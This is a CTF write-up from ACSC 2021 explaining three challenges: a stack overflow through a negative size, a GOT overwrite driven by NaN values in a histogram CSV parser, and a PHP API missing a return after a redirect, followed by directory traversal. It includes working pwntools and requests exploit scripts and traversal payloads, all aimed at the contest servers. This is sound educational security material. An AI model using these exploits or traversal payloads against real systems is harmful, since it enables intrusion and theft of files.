I played Asian Cyber Security Challenge (ACSC) last week, get 102th place!
Here are some of my writeups
Challenges
filtered (pwn-100)
Challenge files
We get a ELF executable file filtered
and its source code in C filtered.c
Running checksec
to check the binary security:
checksec filtered
[*] '/home/hong/hong5489.github.io/uploads/acsc2021/filtered'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No canary means we are able to overflow the buffer easily, no PIE means no ASLR (address static)
Lets see the main
function:
/* Entry point! */
int main() {
int length;
char buf[0x100];
/* Read and check length */
length = readint("Size: ");
if (length > 0x100) {
print("Buffer overflow detected!\n");
exit(1);
}
/* Read data */
readline("Data: ", buf, length);
print("Bye!\n");
return 0;
}
We can see it get user input for buffer size and check if the length is > 0x100
But notice it never check for negative value! This may cause buffer overflow!
Saw a win
function, that means we need to overflow it and call win
function:
/* Call this function! */
void win(void) {
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
exit(0);
}
Exploit
We can enter negative size and try overflow it:
python3 -c "print('-1\n'+'a'*0x200)" | ./filtered
Size: Data: Bye!
Segmentation fault
It overflowed!! Lets find the offset of the return pointer:
python3 -c "print('-1\n'+'a'*0x108)" | ./filtered
Size: Data: Bye!
python3 -c "print('-1\n'+'a'*0x116)" | ./filtered
Size: Data: Bye!
python3 -c "print('-1\n'+'a'*0x124)" | ./filtered
Size: Data: Bye!
Segmentation fault
We can see it overflow when we put 0x124 characters, so our offset is between 0x116 to 0x124
When I put 0x119 we can see it overflow the first byte of return pointer (61), can check it with dmesg | grep filtered
:
dmesg | grep filtered
[ 8124.891776] filtered[2910]: segfault at 7fc3a0630061 ip 00007fc3a0630061 sp 00007ffd425a18a0 error 15 in libc-2.31.so[7fc3a0612000+25000]
Therefore the offset is 0x118
Write a simple exploit using Pwntools:
from pwn import *
elf = ELF("./filtered")
p = elf.process()
win = elf.symbols['win']
p.sendlineafter("Size: ",b'-1')
p.sendlineafter("Data: ",b'a'*0x118+p64(win))
p.interactive()
Can see it works!
python3 solve.py
[*] '/home/hong/hong5489.github.io/uploads/acsc2021/filtered'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/hong/hong5489.github.io/uploads/acsc2021/filtered': pid 2798
[*] Switching to interactive mode
Bye!
$ ls
filtered filtered.c image1.png image2.png solve.py
$
Try it in the real server:
from pwn import *
elf = ELF("./filtered")
# p = elf.process()
p = remote('filtered.chal.acsc.asia' ,9001)
win = elf.symbols['win']
p.sendlineafter("Size: ",b'-1')
p.sendlineafter("Data: ",b'a'*0x118+p64(win))
p.interactive()
It works like charm!!
python3 solve.py
[*] '/home/hong/hong5489.github.io/uploads/acsc2021/filtered'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to filtered.chal.acsc.asia on port 9001: Done
[*] Switching to interactive mode
Bye!
$ ls
filtered
flag-08d995360bfb36072f5b6aedcc801cd7.txt
$ cat flag-08d995360bfb36072f5b6aedcc801cd7.txt
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
$
histogram (pwn-200)
Challenge files
We get a ELF executable histogram.bin
and the source code histogram.c
We need to submit a CSV file in a website:
Same running checksec
to check the binary security:
[*] '/home/hong/ctf/acsc/histogram/distfiles/histogram.bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Partial RELRO and PIE is disable, means we probably need to overwrite GOT address
Lets see the main function:
int main(int argc, char **argv) {
if (argc < 2)
fatal("No input file");
/* Open CSV */
FILE *fp = fopen(argv[1], "r");
if (fp == NULL)
fatal("Cannot open the file");
/* Read data from the file */
int n = 0;
while (read_data(fp) == 0)
if (++n > SHRT_MAX)
fatal("Too many input");
/* Show result */
printf("{\"status\":\"success\",\"result\":{\"wsum\":");
json_print_array(wsum, WSIZE);
printf(",\"hsum\":");
json_print_array(hsum, HSIZE);
printf(",\"map\":[");
for (short i = 0; i < WSIZE; i++) {
json_print_array(map[i], HSIZE);
if (i != WSIZE-1) putchar(',');
}
printf("]}}");
fclose(fp);
return 0;
}
As you can see, it take an argument from command line and read it as a file and pass into read_data
function
Lets see the read_data function:
int read_data(FILE *fp) {
/* Read data */
double weight, height;
int n = fscanf(fp, "%lf,%lf", &weight, &height);
if (n == -1)
return 1; /* End of data */
else if (n != 2)
fatal("Invalid input");
/* Validate input */
if (weight < 1.0 || weight >= WEIGHT_MAX)
fatal("Invalid weight");
if (height < 1.0 || height >= HEIGHT_MAX)
fatal("Invalid height");
/* Store to map */
short i, j;
i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
j = (short)ceil(height / HEIGHT_STRIDE) - 1;
map[i][j]++;
wsum[i]++;
hsum[j]++;
return 0;
}
It read our input as two float values, like 1.0,1.0
then store it at weight
, height
variable
double weight, height;
int n = fscanf(fp, "%lf,%lf", &weight, &height);
Then it validates our input see if too low or too high
/* Validate input */
if (weight < 1.0 || weight >= WEIGHT_MAX)
fatal("Invalid weight");
if (height < 1.0 || height >= HEIGHT_MAX)
fatal("Invalid height");
After that it calculate the index based on the weight and height and add one to three arrays:
/* Store to map */
short i, j;
i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
j = (short)ceil(height / HEIGHT_STRIDE) - 1;
map[i][j]++;
wsum[i]++;
hsum[j]++;
It provide a sample.csv
to let us run it:
./histogram.bin sample.csv
{"status":"success","result":{"wsum":[0,0,0,90,300,180,60,60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"hsum":[0,0,0,0,0,0,0,0,0,0,0,0,30,0,150,300,150,30,30,0,0,0,0,0,0,0,0,0,0,0],"map":[[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,30,0,60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,90,210,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,90,90,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,60,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,30,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]]}}
Testing
Same as the previous challenge, this also have a win
function:
/* Call this function to get the flag! */
void win(void) {
char flag[0x100];
FILE *fp = fopen("flag.txt", "r");
int n = fread(flag, 1, sizeof(flag), fp);
printf("%s", flag);
exit(0);
}
This means we have to somehow bypass the validate check in read_data
, overwrite one GOT address to call win
function
But how to bypass it? Maybe it has an edge case which can bypass the check, otherwise there is no way we can overwrite GOT address
I tested many case like minimum and maximum float value , inf, -inf just did not work..
But when I test NaN
it bypass the check!
cat test.csv
NaN,10
./histogram.bin test.csv
{"status":"success","result":{"wsum":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"hsum":[1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"map":[[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
...
...
NaN is (Not a number), when comparing NaN it just return False stated in Wikipedia
Exploit
Find the possible GOT address to overwrite
First we need to check where it overwrite first, set a breakpoint GDB before map
is added
You can see it overwrite the GOT of fread
(0x404028)
pwndbg> x 0x404028
0x404028 <fread@got.plt>: 0x00401050
We can choose other good address to overwrite like fclose
, because it call at the end of main function
int main(int argc, char **argv) {
...
...
printf("]}}");
fclose(fp);
return 0;
}
pwndbg> got
GOT protection: Partial RELRO | GOT functions: 9
[0x404018] putchar@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
[0x404020] __isoc99_fscanf@GLIBC_2.7 -> 0x7ffff7ce3320 (__isoc99_fscanf) ◂— endbr64
[0x404028] fread@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
[0x404030] fclose@GLIBC_2.2.5 -> 0x401060 ◂— endbr64
[0x404038] __stack_chk_fail@GLIBC_2.4 -> 0x401070 ◂— endbr64
[0x404040] printf@GLIBC_2.2.5 -> 0x401080 ◂— endbr64
[0x404048] fopen@GLIBC_2.2.5 -> 0x7ffff7d02a90 (fopen64) ◂— endbr64
[0x404050] exit@GLIBC_2.2.5 -> 0x4010a0 ◂— endbr64
[0x404058] ceil@GLIBC_2.2.5 -> 0x7ffff7ef1c80 (__ceil_sse41) ◂— endbr64
Can see fclose
just below fread
, let’s try change our height from 10 to 20:
NaN,20
Run again it overwrite 0x40402c
which is 4 address above
► 0x401448 <read_data+346> mov dword ptr [rdx + rax], esi <0x40402c>
Change to 30 and run it again, can see it overwrite the fclose
GOT address!
► 0x401448 <read_data+346> mov dword ptr [rdx + rax], esi <0x404030>
How much to overwrite
You can see the fclose
GOT value (PLT address) is 0x401060
and win
locate at 0x401268
pwndbg> x 0x404030
0x404030 <fclose@got.plt>: 0x00401060
pwndbg> x win
0x401268 <win>: 0xfa1e0ff3
pwndbg> print 0x401268-0x401060
$2 = 520
Therefore, we just need to add 520
times to the fclose
GOT address (0x401268-0x401060=520)
Solving
Now we got all the things we need let’s exploit it!
Wrote a simple python script using requests:
import requests
url = "https://histogram.chal.acsc.asia/api/histogram"
r = requests.post(url, files={'csv': "nan,30\n"*520},verify=False)
print(r.text)
# {"status":"success","result":{"wsum":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"hsum":[0,0,520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"map":[[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,...,520]]}}ACSC{NaN_demo_iiyo}
And got the flag!! Most interesting pwn challenge I ever solve!
Flag
ACSC{NaN_demo_iiyo}
API (web-220)
Challenge files
We are given an URL and the website source code
Goto the URL look like this:
By viewing the source code, we know got 3 different page which is signin.html
, signup.html
and admin.html
admin.html is just one line of html
<h1 style='text-align: center;'>Admin page is still under construction..</h1>
Tried to sign up but it says Failed to join
let’s investigate the source code
Analyse
Inside api.php
notice it get parameter of id
and pw
and pass to main
function:
<?php
require dirname(__FILE__).DIRECTORY_SEPARATOR."lib/config.php";
require dirname(__FILE__).DIRECTORY_SEPARATOR."lib/User.class.php";
require dirname(__FILE__).DIRECTORY_SEPARATOR."lib/Admin.class.php";
require dirname(__FILE__).DIRECTORY_SEPARATOR."lib/functions.php";
$id = $_REQUEST['id'];
$pw = $_REQUEST['pw'];
$acc = [$id, $pw];
main($acc);
The main
function is at functions.php
:
function main($acc){
gen_user_db($acc);
gen_pass_db();
header("Content-Type: application/json");
$user = new User($acc);
$cmd = $_REQUEST['c'];
usleep(500000);
switch($cmd){
case 'i':
if (!$user->signin())
echo "Wrong Username or Password.\n\n";
break;
case 'u':
if ($user->signup())
echo "Register Success!\n\n";
else
echo "Failed to join\n\n";
break;
case 'o':
if ($user->signout())
echo "Logout Success!\n\n";
else
echo "Failed to sign out..\n\n";
break;
}
challenge($user);
}
Here can see the signup
function is at user
class
public function signup(){
if (!preg_match("/^[A-Z][0-9a-z]{3,15}$/", $this->acc[0])) return false;
if (!preg_match("/^[A-Z][0-9A-Za-z]{8,15}$/", $this->acc[1])) return false;
$data = $this->load_db();
for($i = 0; $i < count($data); $i++){
if ($data[$i][0] == $this->acc[0]) return false;
}
file_put_contents($this->db['path'], $this->db['fmt'], FILE_APPEND);
return true;
}
Here we can see when sign up, our username and password must match the regex statement
For username:
- First character must be uppercase letter
- After that number or lowercase letter at least 3 character
For password:
- First character must be uppercase letter
- After that number or alphabet at least 8 character
Then I tried registered with Anonymous
for both and it success!
But when I sign in it say only admin can access =(
After that, I track the request using Burp Suite (Best software for investigate request):
Can see it just redirect me to the same page
In functions.php
inside challenge
function, can see where it return access denied
function challenge($obj){
if ($obj->is_login()) {
$admin = new Admin();
if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
$cmd = $_REQUEST['c2'];
if ($cmd) {
switch($cmd){
case "gu":
echo json_encode($admin->export_users());
break;
case "gd":
echo json_encode($admin->export_db($_REQUEST['db']));
break;
case "gp":
echo json_encode($admin->get_pass());
break;
case "cf":
echo json_encode($admin->compare_flag($_REQUEST['flag']));
break;
}
}
}
}
But notice it did not put a return after the redirect:
if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
The code will continue to get c2
parameter and switch statement:
$cmd = $_REQUEST['c2'];
if ($cmd) {
switch($cmd){
case "gu":
echo json_encode($admin->export_users());
break;
case "gd":
echo json_encode($admin->export_db($_REQUEST['db']));
break;
case "gp":
echo json_encode($admin->get_pass());
break;
case "cf":
echo json_encode($admin->compare_flag($_REQUEST['flag']));
break;
}
}
That means we are able the access the admin function even we are not admin!
Exploit
It’s try to exploit it, add a c2=gu
parameter. It success but it require passcode
By viewing Admin.class.php
, we can see it validates our pas
parameter with get_pass
function:
public function is_pass_correct(){
$passcode = $this->get_pass();
$input = $_REQUEST['pas'];
if ($input == $passcode) return true;
}
And most importantly, we are able to call get_pass
by adding c2=gp
according to the code:
case "gp":
echo json_encode($admin->get_pass());
break;
Can see it return :<vNk
in the response:
After we add the pas=:<vNk
, we are able to access other functions:
Solving
The export_db
function seems suspicious:
public function export_db($file){
if ($this->is_pass_correct()) {
$path = dirname(__FILE__).DIRECTORY_SEPARATOR;
$path .= "db".DIRECTORY_SEPARATOR;
$path .= $file;
$data = file_get_contents($path);
$data = explode(',', $data);
$arr = [];
for($i = 0; $i < count($data); $i++){
$arr[] = explode('|', $data[$i]);
}
return $arr;
}else
return "The passcode does not equal with your input.";
}
Notice it not validate our file input, which make this vulnerable to the Directory Traversal Attack
Because it just append our input with the path like path/input
Which means we can use many ../../../../
to get our flag locate at /flag
By change c2=db
and adding db=../../../../../../../../flag
we are able to the the flag!!
Easy and nice challenge!
Flag
ACSC{it_is_hard_to_name_a_flag..isn't_it?}
Conclusion
Overall it’s a great CTF, some nice and easy but some challenges quite hard for me like the crypto challenges